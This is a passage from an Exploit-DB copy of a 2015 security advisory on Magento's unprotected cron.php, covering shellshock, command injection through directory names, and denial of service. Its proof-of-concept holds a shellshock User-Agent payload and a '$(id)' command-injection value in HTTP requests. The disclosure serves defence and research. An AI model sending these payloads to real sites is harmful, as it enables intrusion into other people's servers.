Exploit-DB #38651
Description: eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)
Type: webapps
Platform: php
Date: 2015-11-07
Author: Dawid Golunski

Exploit:
# Exploit Title: eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
# Date: 06.11.2015
# Exploit Author: Dawid Golunski
# Vendor Homepage: http://magento.com
# Version: eBay Magento CE <= 1.9.2.1 / Magento EE <=1.14.2.1
# Tested on: Linux
# Magento reference ID: APPSEC-1045



=============================================
- Release date: 06.11.2015
- Discovered by: Dawid Golunski
- Severity: Medium
- eBay Magento ref.: APPSEC-1037
=============================================

 
I. VULNERABILITY
-------------------------

eBay Magento CE <= 1.9.2.1      Unrestricted Cron Script (Potential Code Execution / DoS)
eBay Magento EE <= 1.14.2.1

 
II. BACKGROUND
-------------------------

- eBay Magento eCommerce

http://magento.com/

"More than 240,000 merchants worldwide put their trust in our eCommerce 
software. Magento's eCommerce platform gives you the tools you need to attract 
more prospects, sell more products, and make more money. It's what we do.

We're owned by eBay, so you know we're eCommerce experts"

 
III. INTRODUCTION
-------------------------

Default installation of ebay Magento eCommerce software comes with a cron.php 
which allows to manage scheduled tasks. The script is not protected by default 
and can be publicly accessed.

The publicly exposed cron script poses some potential risks such as exploitation 
of the well known shellshock vulnerability on unpatched systems leading to code 
execution. 
The same script has another potential command execution vector that stems from 
inproper data sanitisation passed to a shell_exec function.

Apart from the code execution vectors, the script could potentially be used to
perform a DoS attack due to lack of locking mechanism that prevents the script
from spawning multiple instances of other helper shell scripts.


IV. DESCRIPTION
-------------------------
 
A) Shellshock vector

Magento cron.php script includes a command execution function that looks as
follows:

-----[ magento/cron.php ]-----

...

try {
    if (stripos(PHP_OS, 'win') === false) {
        $options = getopt('m::');
        if (isset($options['m'])) {
            if ($options['m'] == 'always') {
                $cronMode = 'always';
            } elseif ($options['m'] == 'default') {
                $cronMode = 'default';
            } else {
                Mage::throwException('Unrecognized cron mode was defined');
            }

        } else if (!$isShellDisabled) {
            $fileName = basename(__FILE__);
            $baseDir = dirname(__FILE__);
            shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
            shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &");
            exit;
        }
...

------------------------------
    

As can be seen, the script runs shell_exec() that loads /bin/sh program which
is usually a symlink to /bin/bash.
Although the shellshock vulnerability should be patched, there have been reports 
of linux distributions that insufficiently patched the issue and remained
vulnerable. 
Magento's cron.php could be used as exploit the shellshock vulnerability on 
unpatched systems which host Magento in CGI mode (which can be easily enabled 
via .htaccess file provided with Magento).

B) Command injection

The script fails to sanitise the input data coming from $baseDir variable. 
Input passed to shell execution functions should always be sanitised with 
escapeshellcmd / escapeshellarg PHP functions. 

Although not exploitable on its own, the lack of escaping could allow to inject 
some system commands on Magento hosting platforms which have a feature to 
create backups of directories with a specified name within the document root.

If the provided hosting control panel allows to specify names of such backups,
a user could potentially inject some malicious data within the directory name 
which could result in a command injection when cron.php is run from the backup 
directory.
The command would execute upon the shell_exec() receiving the malicious data 
injected with the help of the $baseDir variable.

C) Denial of Service

As the script lacks any access control and a locking mechanism, it is possible 
to remotely request cron.php multiple times in order to make it spawn 
multiple instances of the cron.sh script. 
As a single execution of the script results in 2 cron.sh spawned processes, plus
a separate CGI process (if website runs as CGI), an attacker could potentially
overload the Magento site with multiple requests and create a Denial of Service 
condition by process exhaustion etc.

 
V. PROOF OF CONCEPT
-------------------------
 
A) Shellshock vector exploit

Sending the following request to a CGI-enabled Magento site:

GET /magento/cron.php HTTP/1.1
Host: victim_magento_site
User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack

will result in a command execution on shellshock affected systems.
The resul of the above would be:

victim$ ls -l /tmp/magento_cron_hack 
-rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack



B) Command injection

Due to lack of sanitisation, if a malicious Magento user had access
to a backup facility, he could potenially create a backup of the magento 
directory with a command within the name , e.g.: 

$(id)

The user could then request the cron.php script via the following request:

GET /magento/$(id)/cron.php HTTP/1.1
Host: victim_magento_site

Because of the shell_exec() function in the quoted sourcecode of cron.php:

---
    $baseDir = dirname(__FILE__);
    shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
---

it would cause the cron.php script to run the following command:

/bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &

The command would run i